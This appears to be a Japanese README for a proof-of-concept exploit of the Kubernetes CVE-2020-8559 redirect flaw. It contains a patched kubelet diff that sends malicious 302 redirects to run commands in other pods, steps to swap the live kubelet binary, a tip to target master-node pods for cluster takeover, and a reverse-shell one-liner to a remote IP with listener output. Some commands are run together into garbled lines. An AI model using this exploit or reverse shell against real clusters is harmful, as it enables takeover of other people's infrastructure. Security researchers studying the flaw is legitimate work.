
これは、CVE-2020-8559 Kubernetes Vulnerability の PoC エクスプロイトです。
これはデモンストレーション目的のみです。管理操作を実行する許可があり、CVE-2020-8559 を悪用する許可のあるシステムでのみ使用してください。
これは CVE-2020-8559 の PoC です。この脆弱性により、Node で root を取得した攻撃者がクラスター内の他の任意の Container でコマンドを実行でき、攻撃者が Kubernetes Master Node を乗っ取ることができます。
この脆弱性は、Kubernetes API Server と kubectl コマンドが HTTP リダイレクトに従うこと、および Kubernetes API が API リクエストのすべてのコンポーネント (つまり Node 名、Pod 名、Container 名、さらにはコマンド) を URL に含めることに起因します。そのため、Kubelet プロセスが /exec、/attach、/portforward、または任意の resource: proxy アクションに対して、別の Node の別の Container で別のコマンドを実行するように指示する Location ヘッダー付きの HTTP 302 リダイレクトで応答すると、Kubernetes API Server または kubectl コマンドは Location ヘッダー内の内容に対して新しいリクエストを喜んで作成します。
私のフォーク版の Kubernetes をダウンロードし、私のブランチに切り替えてエクスプロイトの kubelet バイナリをビルドできます。
このブランチは v1.15.9 タグに基づいています。
git clone -b CVE-2020-8559 --single-branch [email protected]:tdwyer/kubernetes.git
diff --git a/pkg/kubelet/server/server.go b/pkg/kubelet/server/server.go
index c1f1975fe43..8459802755e 100644
--- a/pkg/kubelet/server/server.go
+++ b/pkg/kubelet/server/server.go
@@ -867,6 +867,28 @@ func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) {
method, path := req.Method, trimURLPath(req.URL.Path)
+ ////
+ ////
+ // If path is vulnerable to CVE-2020-8559 send 302 redirect with malicious Location header
+ ////
+ ////
+ protocol := "https"
+ // If attacking requests from admins using the kubectl command
+ // host == hostname of the Kubernetes API server obtained from `kubectl -v 8 get pods`
+ // If attacing the Kubernetes API Server
+ // host == hostname of the Node the Victim container is running on
+ host := "internal-api-123456-123456789.us-west-2.elb.amazonaws.com"
+ namespace := "kube-system"
+ pod := "kcd-7cfbb97c64-p4kf2"
+ container := "kcd"
+ command := "hostname"
+ if strings.Contains(req.URL.Path, "/exec") || strings.Contains(req.URL.Path, "/attach") || strings.Contains(req.URL.Path, "/portforward") {
+ fmt.Println("--------------------------------------------------------------")
+ fmt.Println("Sending Redirect")
+ fmt.Println("--------------------------------------------------------------")
+ http.Redirect(w, req, protocol+"://"+host+"/api/v1/namespaces/"+namespace+"/pods/"+pod+"/exec?command="+command+"&container="+container+"&stderr=true&stdout=true", 302)
+ }
+
longRunning := strconv.FormatBool(isLongRunningRequest(path))
servermetrics.HTTPRequests.WithLabelValues(method, path, serverType, longRunning).Inc()
この PoC はハードコードされた Location ヘッダー付きの HTTP 302 リダイレクトを送信するだけなので、kubernetes/pkg/kubelet/server/server.go を編集して host、namespace、pod、container、command を更新する必要があります
プロヒント: クラスター内のすべての Pod をリストします。次に、Kubernetes Master Node 上で実行されている Pod でコマンドを実行するように設定し、リバースシェルを開始してクラスターを乗っ取ります
攻撃を設定した後、悪意のある kubelet バイナリをビルドします
cd ~/go/src/k8s.io/kubernetes
GO111MODULE=on go mod download
cd ~/go/src/k8s.io/kubernetes/cmd/kubelet
go build
kubelet バイナリを Node にコピーするkubelet プロセスを停止し、バイナリを悪意のあるバイナリで上書きするkubelet プロセスの PID を見つけるps aux |grep kubeletkubelet プロセスを強制終了し、悪意のあるバイナリを所定の場所にコピーするsudo kill $PID ; sudo cp kubelet /usr/local/bin/kubeletkubelet プロセスを再度強制終了し、悪意のあるバイナリで再起動させるkubelet プロセスの PID を見つけるps aux |grep kubeletkubelet プロセスを強制終了するsudo kill $PIDkubectl コマンドを使用する管理者を攻撃するように設定した場合、このコマンドは本来実行されるべきコンテナではなく、被害コンテナのホスト名を返すはずです[0038][tdwyer@tdwyer-nuc:~/CVE-2020-8559]$ kubectl exec attacker-5cf89b94db-xdbfm -- date
kcd-7cfbb97c64-p4kf2
また、任意の Container からリバースシェルを開始することもできます
nc -lv 4444/bin/sh -i >& /dev/tcp/1.2.3.4/4444 0>&1成功 :D
[1617][tdwyer@tdwyer-nuc:~]$ nc -lvk 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 9.8.7.6.in-addr.arpa 46828 received!
bash-5.0#